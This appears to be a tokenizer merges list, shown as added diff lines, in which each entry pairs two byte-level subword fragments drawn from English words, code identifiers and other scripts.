+Ø ¯ +ĠGe org +we ights +/ l +Ġag gress +Ġd rawing +and y +< I +- j +ak a +h ref +Ġteach ers +_ Q +( it +ĠM B +Ġtemp orary +ire base +str a +æĹ ¶ +è ´ +( label +ou p +Ġtop ics +Ġport ion +id os +ĠJew ish +Ġre covery +Ġstand s +# [ +Ġafter noon +ĠArt icle +_ att +Ġexpl an +ĠP ak +.setOn ClickListener +. children +Ġi k ++ ( +l ag +Ġdis k +Ġcont rovers +"> & +as p +Ġw ie +ĠAustral ian +ĠYou Tube +At tr +cont ains +du ce +ĠM att +at ern +Ġvol unte +Ġnew sp +V P +olt ip +Ġde legate +_m eta +Ġaccur ate +ĠEx ample +% , +ĠD aily +Ġc abin +ĠS W +Ġlim its +k ip +Ġar my +Ġend ing +Ġb oss +ĠD ialog +Al so +="# " +ord an +row se +- min +Ġ" & +_ loc +U X +Ġdevelop ers +Ġaccur acy +Ġmaint enance +Ġhe av +Ġfil ters +.T oolStrip +Ġn arr +ĠE mp +ORD ER +ĠM obile +.S erial +.out put +.c ol +M aterial +um a +Ġconsum ers +sh ift +Ġp ued +Ġmin i +c ollection +Ġk an +.c enter +H istory +Ġben ch +() ); +itor ies +Ġcrow d +_c all +Ġpow ers +- E +Ġdis miss +Ġtalk s +ĠCh annel +for ward +_ control +/s rc +i est +**************** ******** +Ġbet a +(c olor +_O BJECT +ĠA pi +Ġeffect ively +C amera +s d +uss y +D ict +ĠE ffect +ib ilities +Ġreturn ing +ĠF ar +Ġ' ') +Ġmod ules +il ation +Ġ( % +TR GL +Ġst orm +on na +ĠEX P +Ġs pons +Ġdis pl +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠ +f all +å Į +ign Key +_ US +et rics +Ġhand les +T L +_ amount +ow a +br and +ĠT ool +Ġus ual +. Z +cre ment +ad ium +st ock +Ġserv ing +ĠB on +Ġline ar +ĠT arget +ĠR adio +H L +Sh ader +om atic +ag ues +in ity +d iff +_ iterator +qu ot +Ġ ,Ċ +c allback +Ġsympt oms +[ _ +ĠB ul +ĠF eb +und o +_ account +Ġtyp edef +и Ñģ +tr as +User Id +ĠP enn +ĠSup reme +} > +user Id +ĠK im +Ġg a +Ġart ists +å ¸ +ĠAb stract +ok emon +Ġh am +o val +Ġch a +at en +å Ĩ +F ixed +Ġvul ner +ĠParam eters +qu antity +.C lear +Servlet Request +Ġy a +Ġsou l +trans action +Ġsol o +Ġp airs +æ Ķ +ĠG re +_ word +ĠC C +Ġg i +z ie +Ġsched uled +rot ation +gy pt +ul ous +:: _ +ĠE ll +< ! +ĉĉ ĠĠ +l p +ah a +C opyright +Ġdr am +Ġdi agram +ĠM em +Ġg arden +Com p +Ġattempt s +uff ix +> () +Ġphil osoph +_re l +å ¼ +Ġs v +.se cond +ant o +.J son +ĠTe le +_ local +_s end +Ġas pects +ì Ĺ +IB LE +Ġr ail +Ġwid ely +ash ed +i ar +in f +up per +d jango +_result s +iss ing +Ġequ ivalent +OUN D +Ġt y +Ġpotential ly +Advertis ement +ĠRec ord +resent ation +_w idget +ound ing +Ġrelig ion +Ġcons c +ĠL im +. am +H tml +Ġ' : +P ATH +_s pec +ort ed +id ades +_sh ape +Ġkeep s +.S ave +ĠL oc +or i +ĠT EST +unic ip +Ġreg ions +Ġbelie ves +/ en +pos ite +{ ' +pre pare +_ const +s ample +ĠWill iams +Ġstr t +_ Get +ĠAnd rew +. active +Ġl ayers +Visual Style +az y +ĠK n +Ġac id +ĠAs ia +Ġex cess +ĉm y +Ġkey board +ens us +Ġcre w +Ġmiss ed +m aster +ĠW ild +Ġnew ly +Ġwin ner +Ġst ub +ic ode +.m ove +D omain +ĠS ar +Ġfore st +LE D +claim er +.ex it +ĠW indow +Ġres istance +ĠC HECK +(" - +ĠR yan +Ġp ipe +Ġco ast +DE F +// ! +_ off +ex it +Ġult imately +imit ive +ĠKe ep +Ġhistor ical +Ġany way +ĠJack son +ock er +ER N +ĠU INT +y ntax +ER Y +is ms +Ġc n +Ġocc urs +Ġ; ; +Text View +A E +/ img +Ġy esterday +- default +Ġt iny +Ġpro c +Ġal ive +ĠRE G +. th +ear ing +.get Logger +< link +_ login +F older +ab c +lyph icon +н о +Ġnot iced +od igo +Ġed ition +im ator +. Enabled +.parse Int +Ġy ards +ĉĉĉĉĉĉĉĉ ĉĉĉĉ +Ġver bose +л Ñı +_B Y +.log in +.* ;Ċ +ĠM id +é es +Ġg lo +Ġbuild ings +Ġz e +ĠI ter +Ġt ube +ĠP ot +\ M +< th +br idge +ĠS cript +ĠM odule +Ġv acc +Ġinstall ation +v y +VisualStyle BackColor +ĠS M +.t otal +b at +Ġfind s +Ġat mos +Sub view +iz ard +Ġrepl acement +lic ated +ap is +Ġlog ged +ĠLe ft +G ui +_ Type +t m +P ad +Ġhouse hold +Ġre le +Ġpropos al +_CL ASS +:: :: +Ġinf rastructure +In ject +/ html +Ġad s +iz za +Ġm g +ctr ine +% Ċ +< html +- image +Ġatt orney +< m +(' , +Ġcan n +Ġprint ln +o ose +Ġy ellow +.ex p +p ayment +Ġtable View +aw ay +Ġopp osition +ĠAg ain +ĠH andle +Ġex clusive +in ar +é r +оР± +ĠC ODE +emp orary +Ġre act +pi pe +c z +. activity +Ġlarg ely +Ġdis s +ax y +es is +ĠR en +Ġc orn +.Use VisualStyleBackColor +d ays +Ġfr uit +In sert +_ enc +E st +_de c +ĠL uc +Ġü ber +param eters +P ERT +ex press +_pro file +Un known +Ġrev olution +.add ress +_re quire +Ġun iform +ĠP ack +l ar +ĠU ITableView +Ġdep ends +Valid ation +conf irm +O wner +Ġt rib +h et +ĠI de +ans as +L anguage +u et +ĠP o +ĠSte ve +Ġcont est +_DE FAULT +Ġapparent ly +RE EN +Ġfrequ ently +Ġtrad ition +ocol ate +S I +ĠArg ument +F ocus +ert e +ĠL ayout +Ġd x +Ġgener ator +ĠW ait +P olicy +l ights +.Ex ecute +P y +Ġbed room +ed a +ra id +ĉs ize +Ġan cient +Ġp ump +Ġd w +Ġ(! ( +Ġspec ify +( status +ĠF BI +.ex ception +Ġrem ark +ly mp +ant ee +Up load +ern et +é ¡ +in ent +ĠR ender +d m +ĠM emory +r ich +ĠT ools +Ġk ne +Ġper m +b ad +Ġd inner +.res et +Ġj Label +Fe ature +.S ervice +Ġ( {Ċ +Ġre ferred +.class List +Ġinit With +ĠText View +Ġne ither +Ġcount y +Ġ" { +ç § +Ġt ack +class Name +ĠUS ER +Ġre new +` ` +get Name +Ġb rown +Err ors +ert o +Ġsust ain +S O +let es +ĠIn valid +Ġen emies +un ge +Ġexist ence +err a +Ċ ĠĠĊ +utor ial +# a +p ay +char ge +ĠI re +ate st +Ġexp los +Ġf ired +N ER +ĠT y +ic ion +U ri +Ġobvious ly +ĠC olum +Ġ' + +ĠDe vice +- related +_ ARG +Ġv or +ĠLess er +_O P +Serial izer +Ġup grade +L ight +Ġc odes +++ ;čĊ +Ġwrit es +fo od +Ġé t +@ section +Ġtrack s +Ġserious ly +ch t +(size of +Ġimmedi ate +Ġscient ists +Ġ{ $ +_ ne +.Anchor Styles +Ġaccom mod +ĠHar ry +Ġs ight +ĠPale st +ersist ent +Ġ Ñĥ +- input +Ġco ordinates + · +W elcome +.con f +Ġgre w +Ġb old +ĠC PU +(m y +Ġperfect ly +Ġmom ents +ĠM ovie +- data +yst al +_W IDTH +ĠS creen +æ Ŀ +Ġdis ap +Ġredu ction +.Get Component +_M ODULE +Ġgener ic +Ġd y +all er +Ġc url +ĠB ody +Ġb anks +, t +av g +Ġev il +Ġmanufact urer +Ġrece iver +Column s +Ġing redients +ĉ out +qu es +.L oad +Ġslow ly +ĠT own +ĠC ell +_n ormal +_p refix +ĠAl ert +(" { +ä r +âĢľ The +ĠM D +Ġcour ses +ath an +é Ļ +oc c +ĠS ER +es ign +Add r += [' +(" ./ +] } +.f ont +ĠInst agram +ĠB order +od a +Ġh all +Ġr um +_b it +Ġs aving +_d own +R andom +_reg ister +( Context +Ġoppos ite +R oom +Y ES +ан и +Ġenjoy ed +_r un +C lear +âĢ ĺ +ĠF ord +on ic +ost en +"] ) +_ auth +// čĊ +Ġsuff icient +LE S +Ġph en +Ġo h +_c sv +Ġrout ine +.Are Equal +ay lor +Ġb asket +_COM M +rypt ed +S im +ĠSh op +Ġstud io +at os +( W +[ string +ä t +og a +Ġsh r +Ġs ick +An other +Ġdo ors +_N E +ĠTH REE +. order +raz il +Ġmap s +_TR UE +trans late +Ġnear by +Ġn ach +LO AT +b atch +Ġl ux +ash es +ang ers +â̦ â̦ +_E VENT +_ UP +Ġact s +in v +_M ETHOD +cc ion +Ġret ain +ut ch +ĠÐ ± +Ġknow ing +Ġrepresent ing +N OT +p ng +Con tract +Ġtr ick +ĠE dition +uplic ate +Ġcontrol led +c fg +j avascript +Ġmil k +Wh ite +Se quence +aw a +Ġdiscuss ed +ĠB ush +ĠY ES +.f actory +t ags +Ġt act +Ġs id +$ $ +ĠE num +Ġfr ames +} ); +Ġreg ul +'] ;čĊ +Reg ion +ff f +Ġc ro +( com +=" + +St udent +Ġdis appoint +RES ULT +Count er +Ġbut ter +ĠH a +ĠD igital +Ġb id +"> {{ +ing ers +ĠC ountry +_t pl +"] )Ċ +/ k +d ating +: # +ĠD ATA +yn chron +_b ody +olly wood +Ġval or +ip ient +o ft +UB L +doc s +Ġsyn chron +Ġform ed +ru ption +Ġlist a +Request Mapping +Ġvill age +Ġkn ock +oc s +" { +_fl ags +Ġtrans actions +Ġhab it +ĠJ e +ed en +Ġa ircraft +ir k +ĠA B +Ġfair ly +. inter +.A ct +Ġinstr ument +remove Class +.com mand +Ñ ī +ĉm em +( min +Ġo t +Ġcol le += s +time out +Ġid s +ĠM atch +ij n +z ero +Ġnetwork s +.g ov +Ġint el +Ġsection s +out ine +(c md +(d ir +ĠLI ABILITY +ĠB log +Ġbr idge +ĠC V +con vert +Ġ" )Ċ +ĠB ern +_P O +e val +( set +to ol +Ġpay ments +Beh aviour +Ġcon crete +Ġel ig +Ġacc eler +Ġh ole +_ o +TE GER +Ġgraph ics +O wn +Form atter +on der +Ġpack ages +/ a +ĠK now +Or Default +Ġdut y +W ait +н а +_rec ord +[ t +M esh +Ġon going +.be ans +Ġt an +Ġinter pret +ast ers +QU AL +Ġleg s +\ Request +- file +_m utex +ĠS aint +// # +Ġpro hib +( info +: = +lin ux +Ġb lo +ot ic +ĉf inal +_ex p +ĠSt op +ap ing +(s aved +_p ush +Ġe ase +_F R +pons ive +str cmp +: ĊĊĊĊ +ä» ¶ +ol i +Ġextrem e +Ġprof essor +Im ages +.IO Exception +Ġaddress es +plement ed +Ġincor por +Ġuse Effect +_O F +ĠD a +n ombre +IR ST +Ġdisc rim +Ġcomp ens +greg ate +anc ell +ach es +ĠC riteria +$ result +D estroy +Ġsecond ary +W atch +ĠS em +ĠMc C +Ġacad emic +U pper +:: ~ +ut ral +ĠD og +ad ed +Valid ator +Ġder ived +Ġset Timeout +ĠK en +Ġtyp ical +ĠB ob +Ġb ounds +ĠSe ason +Ġc razy +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠ +-r outer +itt est +ĠM ir +Ġemot ional +, v +c n +/ st +å ½ +on om +Ġdecl ared +> . +ail ing +Ġ/* <<< +Ġnorm ally +(M e +ev in +lik ely +Ġpoint ed +ĠSt ack +Ġw alls +. Vector +me an +] ]Ċ +Ġlist ening +ad v +Ġsw ap +IF T +Ø ª +. argv +ul s +< option +not ations +Ġemail s +ĠU kr +ast a +ĠTh us +ĠSt one +Ġappe al +. âĢĻ +Ġreg ulations +Pre ferences +ĠPh one +ul f +ĠD R +Ġtechn ologies +Ġpar agraph +Ġnecess arily +.e ach +< float +res a +Ġunder st +Ġf inger +press ed +-b y +if fer +w atch +ĠB a +A IM +Ġwe ights +ĠR on +') }} +[ self +-------- --Ċ +per iment +Ġto String +x ic +ĠC amera +! ĊĊĊĊ +aur ant +P refix +Ġinstit utions +: int +Ġex posure +p attern +ĠLin ux +.n umber +red ient +Argument Exception +ĠCh ief +" }, +Ġelect ronic +r ong +er d +sp Net +ra it +/ ', +ĠOh io +Cont rollers +Ġcontin uing +ĠT emplate +ĠE th +s z +/ env +En v +% . +art ers +) (( +ĠT ABLE +Ġà ® +per ature +pro gress +P res +ê ° +im plementation +Ġb ien +Ġstre ets +_M SG +New s +## # +: / +Ġcut ting +x B +ress ed +_EN ABLE +l ab +Ġca using +] ));Ċ +b ra +x FFFF +il ly +plet ion +w ill +_b ar +Ġstruct ures +ĠI mp +Û Į +Ġ< > +Ġ ---------------- +_B UFFER +.d ir +Ġpl ain +Ġpe er +g g +oint s +Ġsomew hat +Ġw et +Ġemploy ment +Ġtick ets +ir ms +Ġt uple +s is +$ sql +r ig +Ġcon version +Ġg es +Ġconfig ure +eg r +ĠC a +Ġ__ (' +ou ston +.t oken +Bl ack +Ġmag azine +A W +. IN +os ing +Ġbro ke +ĠC ru +DE LETE +Ġdestroy ed +(M ath +Ġappro val +-d om +ĠI II +table View +Ġdesign s +Ġcrush ing +Ġcons ent +dir name +om p +Ġc rypt +? ( +or ough +. o +ĉ list +ams ung +."" "Ċ +err ing +G oogle +_p air +_IN IT +rem arks +Ġg ear +F ill +l ife +} ")Ċ +Ġsuit able +Ġsurpr ised +_RE QUEST +Ġman ifest +att en +Ġfr ustr +ov ement +.c lick +Ġi i +Ġexp ansion +ig s +P arse +.Reg ular +R ob +_l ayout +ì ł +Ġtrans lation +ĠBe aut +B est +_C OLOR +< label +Ġliqu id +IT S +Ġpro d +Ġoper ate +UI Kit +Ġn atur +arg ument +_d etail +ĠCent re +Ġ" -- +Ġ}} " +lo cale +.t v +_se q +Ġup coming +Ch art +ĠDiv ision +Ġclin ical +Com pany +S epar +l as +ĠH un +: s +Ġhead ing +оР³ +Ġ" ");Ċ +[ id +b ia +Ġst retch +ic ide +Ġre produ +.pro ject +leg end +end ers +Ġrespons es +Ġon t +rit ical +Ġref uge +ĠL i +Ġ: ĊĊ +ĠTh ree +.cont roller +_IN DEX +_F OR +\Model s +j ax +ĉex it +Ġâ ĸ +Ġc overs +ĉ y +- . +IND OW +Ġfail s +in cludes +Ġf ault +Ġl y +ñ o +.s lice +ILE D +ĠP ur +ĠAs ian +_b atch +.M ax +v l +ĠCOPY RIGHT +Ġg iant +ĠMan ual +ĠC opy +Class Name +He alth +C ursor +IB Outlet +Ġt we +æ ³ +_label s +Ġcol lected +Ġfurn iture +Ġdeal ing +Control s +ĠHot el +ck s +Ġch ose +âĶ Ģ +od d +S R +Ù Ĭ +ì Ħ +Ġacc ord +ĠM ove +ĠM ode +ĠM ock +Ġthread s +++ ++ +ĠO ptions +Ref resh +ĠD id +'] -> +u cc +_ch annel +. abs +Ġ{ },Ċ +ĠW al +er ior +Ġmain ly +ĠDr iver +NotFound Exception +Ġcount s +e am +Ġ& = +Q uestion +ĠA li +Ġany more +d etail +t ail +Ġm ile +ĠF air +Ġs orry +Ġsurround ing +Ġad m +De v +Ġmari juana +ĠS ound +ĠA sh +F D +Te am +. port +Ġ[ ]ĊĊ +ub ble +Ġas c +Ġint ention +A cc +ch i +ust ers +Ġins pired +se g +CL U +Ġman ip +M etadata +Con nect +ĠB eh +Ġfind ings +Ġas sembly +w orld +Ġrem ained +Ġu id +( . +Ġm x +Lo op +ĊĊĊĊ Ċ +Ġfant astic +wh o +ak i +ĠB asic +ĠY et +ĠUs ers +ik ip +Ġhead s +ĠMich igan +_ it +ĠTor onto +Ġrec ording +Ġsub mitted +_var iable +medi ate +.graph ics +Ġst ood +Ġre ar +vel ocity +_M ESSAGE +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ro les +ĠT our +_ year +end ment +amp s +ĠIre land +m al +Ġyoung er +Ġstrugg le +Ġc able +ĠSD L +(' - +an es +ĠNe ed +.R ow +P ol +ĠP H +_s cript +ag em +ĠB as +_s pace +. loc +: i +ad r +Ġengine ering +it en +) & +Ġu k +ĠL ittle +_C OUNT +x A +Array List +æ į +Ġ" ")Ċ +An chor +Ġh ang +t witter +Ġcompet itive +.s rc +ãģ Ĺ +Ġtrans late +ĠCre ates +ook s +ĠR oll +'' 'Ċ +/ sh +s ome +Enc oding +.res olve +Ġdesign er +ĠSt orage +Ġz a +ĠN ever +Ġsomew here +Ġbox es +.s ource +Ġpy game +Ġgrow n +.t w +() ),Ċ +', [' +Ġoppon ent +(s rc +.l ayer +AP P +ĠAct iv +Ġguest s +ĠVAL UES +};ĊĊ Ċ +.n ative +Ġamount s +. RE +Ġcl one +Ġwer en +Ġ" << +_ ac +Ġbreak ing +Ġreli able +.P OST +ĠSk y +Ġ' & +Ġsaved InstanceState +ast ing +ill ion +com ments +ult y +.m enu +/ config +Ġ ĊĊĊ +T ODO +Ġpurch ased +_c or +ĉ auto +Compat Activity +com plete +_ graph +is odes +Ġsitu ations +ĠH or +Re ceive +âĢľ We +Ġent ities +.assert Equals +оРº +ĠS ans +v ince +rom pt += Ċ +Ġ/ . +.Se lect +yl v +Ġb att +A udio +Ġincreasing ly +.B undle +Ġexpl ains +the ast +. offset +Ġh al +Ġtechn ique +_l imit +Ġdraw n +AY ER +Ġfeature d +yy yy +at in +ph en +ach el +! \ +l ower +ĠG R +Ġp ag +ĠP arse +Ġt ou +ä¸ Ģ +D istance +Index Path +Ġh ell +s im +UT TON +Us age +elen ium +ĠF all +Ġ" .$ +ĠM u +Ġcr uc +Ġs ont +REF IX +Ġinter ior +ĠO lymp +.Auto Scale +par a +Axis Alignment +Ġr iver +D to +Ġwith draw +Re act +- class +b efore +_ alloc +Cont ents +ĠW as +I CT +Ġform ula +Ġindic ates +ĠĠĠĠ ĊĊ +_st ore +it ting +ĠIt alian +_S et +_re port +Ġp id +_V ER +Ġw ins +ĠCl oud +") {Ċ +ch ester +Ġden ied +Ġw ird +ĠSte p +Ġinvest ors +b old +_d isplay +ou ver +or er +Res et +Ġsurg ery +Ġstrateg ies +/m aterial +_ unit +Ġc ouncil +.P er +ĠâĢ ŀ +Ġre form +F ramework +Ġlist ing +_b tn +Ġb is +% d +eg as +Ġsudden ly +_S ER +Ġa o +_d irectory +f as +Ġprem ium +Ġtrack ing +ĠB L +Ġm ature +Ġbath room +Ġ'/ ' +ĠÄ ij +Per formed +Ġsold iers +arn ings +Ġwalk ed +- con +b ottom +Ġsurpr ising +Ġg ene +Us uario +.DE FAULT +ĠM IT +C ODE +ĠE gypt +p icker +ys ql +AT URE +d etails +ĠCon ference +In formation +ĠM ail +-d own +r aries +b ro +Ġsubject s +Ġ' * +è¯ · +or ient +: @ +ver bose +E F +Ġto ler +eng ers +Ġend point +Ġstr ange +Ġcol on +Ġpre ferred +de p +ĠE V +ARR AY +Ġw he +Ġp up +_n odes +Ġtalk ed +Ġinstit ution +db c +Ġex posed +te en +ĠFr ont +T T +_N ONE +\/ \/ +pro gram +Ġencour age +. ` +sh ire +ĠIsl am +e en +N I +' " +.W idth +Ġlik ed +Ġ{ ... +ĠSystem s +Ġvot re +Ġmanufact uring +Con verter +ĠIn f +ì ļ +D TO +Ġin ches +Ġ ठ+à ¹ +ĠChar les +B U +")) ;ĊĊ +ĠL abor +un n +Ġest im +m obile +ĠL earn +_C ALL +â Ħ +Ġind ices +Ġt ub +ikip edia +C ost +row able +ë ¡ +g age +Ġfunction ality +uzz le +em os +.l ib +Ġd ass +еРº +enn a +Ġsh ots +Ġrest ore +/ D +For Key +], [ +al ias +l int +.st ream +æ ł +_FORM AT +Ġsil ver +.re pository +Ġlegis l +.B order +_fe atures +Per mission +Ġhous es +ĠW ars +_COM P +Ġinj uries +Ġconstant ly +fl utter +EN U +ĠCon f +Ġrecogn ized +Ġpract ical +Ġde cent +B J +] ); +ast y +ĠAct ivity +-m ode +Ġsl ide +.IsNullOr Empty +ĠY OU +P ower +ind ices +Ġqual ified +Ġthrow n +h ello +ĠN ick +l ah +as sembly +ĠSm all +old ing +Sh ould +ĠSil ver +(saved InstanceState +Ġtog gle +.N ot +C trl +: nil +ĠCont inue +ĠB oot +æ ī +ĠM ur +d on +ĠF A +S napshot +Ġassoci ation +fo x +, a +az ione +] )čĊ +CT YPE +Ġf ade +ĠD ar +.n avigation +Ġl uck +SC RI +ĠDe ad +Ġterm inal +_LE NGTH +Ġeff iciency +Ġun w +Ġn arrow +iment o +( Color +ĠSe a +_ area +, A +_ opt +ĠHill ary +.t ask +ĠJ ac +ast ed +ĠAd am +ĠIl legal +Ġsearch ing +Instance Of +J ava +ĠForm at +Ġreal ized +ĠChild ren +Ġk il +(f rame +âĢĿ .ĊĊ +Ġscen ario +"] );Ċ +Ġincred ible +li x +IO Exception +ĠQ uest +il ty +Ġun lock +â Ĥ¬ +Ġre ferences +ĠV ert +B inding +eg ative +Ġwr ap +.d atabase +( content +B uf +ĠTr ad +ĠA ud +tr ace +.m ock +Ġther apy +ĉ L +.To Int +ĠKing dom +B us +ha ust +"" "ĊĊ +( end +.draw able +[ ];Ċ +ĠH ospital +Ġph arm +---- - +ĠA G +é d +> ");Ċ +Ġw allet +at able +) $ +Ġmonth ly +Ġdi agnostic +S ymbol +Ġiter ator +un finished +Ġimm igration +s r +RO W +(g ame +Ġclo thes +ĠU nt +Ġactiv ation +_C on +.h ash +Ġinitial ly +.H ash +Ġcut s +f ound +ĠSt ory +ÑĨ и +ac ao +_T YP +pro to +est r +-p age +ah r +Ġincor rect +ĠJose ph +TextBox Column +_st yle +ĠD aniel +s heet +Ġl iv +l ined +Ġr a +R untime +_ empty +sl ug +_ struct +ë Ĭ +m u +Ġper mitted +Ġreg ional +Ġsob re +ĠS uch +Ġ[ _ +Ġro of +.Al ignment +t imes +.m sg +Ġche st +ĠT ab +Ġest a +ä n +Ġsubs cription +( command +s pecial +Ġme al +") :Ċ +_ ctx +Ġclos ely +et ry +- be +ad el +ĠR am +ig est +ĠSpan ish +Ġcommit ment +Ġw ake +* >( +P HP +_ { +ck er +< List +_n ull +ĠRes erved +Ġin her +.Column s +.A spNet +_IN VALID +ĠParam eter +Ġex pr +} { +Cell Style +Ġval uable +Ġfun ny +In v +Ġst able +* t +Ġp ill +pl iers +ĠC SS +ĠCon dition +ĠS peed +ublish er +Ġoff ensive +ce st +ic as +Ġsp ark +ĠPro te +set up +IF Y +ĠT ax +Wh o +F amily +- for +. uk +Ġf asc +sv g +") ). +Ġbirth day +âĸ Ī +ve h +el led +Ġimport s +ĠIsl amic +T A +ĠSt an +we ather +Ġsus pect +e ature +enn es +W M +.m inecraft +av id +è ½ +.se curity +in os +G ood +Ġm arch +Ġposs ess +us uario +Con s +am ber +ched uler +Ġhor se +ç ½ +(b ody +ĠTrans form +_de code +.s vg +Ġf oo +Ġd ella +ext ends +am er +Ġprocess ed +ĠH arr +ĠA I +Ġk o +CH AR +( % +Ġt ap +({ ' +c roll +D OM +Ġte a +Ġre in +Ġworld wide +_f n +sh a +Ġb ir +ç ões +="# "> +Ġrepresent ed +ill er +(ex pected +Ġd ance +Ġvisit ors +.con cat +-b it +UR RE +ĠR og +v p +ip h +ĠL LC +it led +iam i +C oll +_re al +_sh ow +_f older +Ġd ar +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġl atter +arch y +Ġb ow +Ġout come +ĠPost ed +Ġris ks +ĠThere fore +Ġowners hip +Ġpar allel +Ġp ending +ge ometry +Ġrecogn ize +ST EM +ĠC P +Ġimm igr +IT LE +ĠĠĠĠ ĉĉ +conn ected +Ġsm ile +(d ocument +\ Component +vert ical +Ġconsum ption +Ġsh oes +. impl +un ks +. ";Ċ +Ġfood s +_ );Ċ +.assert True +Ġp ipeline +Ġcollection s +Ġearn ed +ĠC ert +Ġpartners hip +( action +Ġc d +ĠV ery +Option al +Ġscre ens +Ġtit les +ener ator +Ġab andon +k ind +IL TER +Ġclos ing +lic a +_ inter +Ġcamp us +set ting +S prite +ãģ ¯ +_re ply +To List +: \/\/ +ed e +Ġfol ks +Ġbo at +( argv +Ġperman ent +Ġcarry ing +Ġconserv ative +import ant +. img +ĠIm m +Ġdim ensions +al and +s ingle +Ex it +-------- -- +ari ant +tern al +Se conds +ĠIt aly +ot lin +.Res ume +=' " +) == +cept or +Ġs ca +/m ain +Sec urity +_d at +Ġlet s +Ġa qu +Ġwhen ever +b erry +Ġact ing +ant i +p d +& gt +æ Ń +Z one +T oday +! . +To Props +ab is +it able +Ġg al +] { +iz ona +Ġin contri +N ET +/// Ċ +[ in +_s ave +Ġex em +ĠK enn +Ġev olution +var s +_st ats +- only +ĠColor ado +Ġwatch ed +b our +Ġsever e +Ġprofession als +port ion +Ġguar ante +Ð ³ +Ġpush ed +ĠG i +ï ½ +Ġt um +ĠA z +ĠEdge Insets +")) ;čĊ +is se +. ac +Set ting +Ġapprec iate +ĠValue Error +Ġsur ve +ĠR ole +. Inter +plot lib +j et +d am +Ġplatform s +te le +UT O +ĠInt ernal ++ : +} ;čĊ +Gener al +\ Entity +Ġlawy er +qu iv +ĠPost s +is o +Ġacc um +ob e +Ġmark s +Ġ] ;ĊĊ +ĉ text +.s uccess +cur r +as a +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠ +Ġth in +_ over +are st +ĠO s +( address +Ġvel ocity +Ġ[] ;ĊĊ +=" ../../ +ĠPr iv +b ow +Ġguar antee +% ĊĊ +Ġeval uate +.LE NGTH +Ġin ventory +q a +_de bug +.On ClickListener +Ġl ies +Ġassess ment +dat etime +.background Color +Ġ*/ čĊčĊ +ra f +un wrap +ĠF oot +Ġnot ify +Ġlow est +DO CTYPE +Ġl anguages +ex tra +- back +Ġein en +tem plates +_p ass +ĠM ust +Ġest á +_c ore +ĠSc ot +A I +Ġb ias +ations hip +Con stant +Ġprogram ming +In s +uspend Layout +ĠPRO VID +ant es +Ġsh irt +in ated +. OK +[ a +Ġthink s +? ĊĊĊĊ +Ġregard less +ĠMag ic +ul ating +ĉ class +add Group +RE ATE +ĠS U +Ġsim pl +c opyright +Ġb unch +Ġun iverse +ĠE rr +Ġpresent ation +c ategories +Ġatt ach +.s ign +_A C +Ġdisc ipl +Ġregular ly +Ġprim arily +ink s +[ [ +.r and +.sh ould +ownt own +=" ' +Ġs ans +Ġsupport ers +se quence +G O +. .ĊĊ +ĠS pr +Ġcare fully +U IColor +dest roy +Ġtod os +ĠOR DER +ott ed +Ġd ont +aud i +_ player +g re +ĠO il +< body +_st ack +.P adding +ĠProduct s +Ġpriv ile +Ġinj ured +ĠF urther +Ġal ias +.Resume Layout +_LE N +Ġs es +'] ;ĊĊ +cre ens +Ġdirect ed +.S uspendLayout +od ge +.A t +mark s +ĠUn ivers +ert s +ĠE sc +Ġnav bar +Ġutil ity +agnost ics +Ġin ject +ĠD NA +Ġ" ," +am ar +Ġe u +Ġrestaur ants +_p ut +ut ers +Tool Strip +t w +ist ro +Ġz oom +Ġleg it +pec ific +ĠC ome +Ġlocal Storage +Ġabs or +.P anel +ĠDesign er +Ġo w +IC AL +_ uri +(f ield +Ġsup erv +Ex ists +Ġrespect ively +ĠSt and +Con f +uss ian +Ġar c +Ġ nd +uck s +Ġre str +Ġseason s +ĠCh apter +ĠSw itch +p ic +Ġh i +load ed +Ġfl uid +-b tn +Ġrun time +. it +B N +Op acity +as ant +ry ption +-n ative +Ġta ught +å ¯ +ag ment +Ġm ul +Reg istry +_ grid +ĠBro ok +: Set +Ġm ongoose +AM ES +inner HTML +Ġs oci +ĠInt el +get Id +C md +Ġaccess ible +r ames +le ton +Ġ__ ( +ĉ delete +ĠS quare +" ĊĊĊ +Ġbu cket +avor ite +ĠB reak +++ ] +Ġbr ush +Ġt ensor +/ http +T ile +Ġfunction al +Ġ" * +wh el +Ġt ent +ĠChar acter +Ġse es +. ST +B ig +Ġext ern +Url s +)) )), +ĠJ r +.B uilder +. ; +n l +_ Init +ĠH ER +ż e +mys qli +_ icon +v an +Ġfeel ings +Ġle an +Ġhop ing +T V +="čĊ +b est +all as +ent ed +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĊ +_con nection +Ġrep o +en abled +аРº +Ġsh a +Ġmembers hip +Status Code +in ating +_s m +_c ustom +_ weight +Ġc ss +St at +_ env +link s +TR L +ĠH it +, r +up id +Ġop ens +Ġg ent +_v is +Ġj oy +< w +_c ost +ĠPy Object +ren ce +ĠGeorg ia +ĠBro ad +m ma +â Ĥ +p f +Ġ" \" +Ġ( & +om o +Ġliter ally +Ī ĺ +met ric +Ġb ars +z ed +(w indow +ĠIsrael i +Ġform al +ident ifier +.d ao +ĠDe ath +% ;Ċ +Ġdecl are +ar ms +RE AM +PERT Y +Ġconsequ ences +to ols +Pe ople +ĠWh ich +> ();čĊ +.de code +_A CT +Button s +.f loat +.F irst +ë ¥ +ĠPol it +ĠX CT +T ags +ĠCG Float += str +Ġle af +- check +ĠI ss +.s ystem +log out +ach t +Ang le +s in +ch art +INT ER +ĠN UM +B asic +.P roperties +ä¸ Ń +_ change +ĠB razil +Ab stract +Ġ: +: +_ use +а л +ĠL y +IB 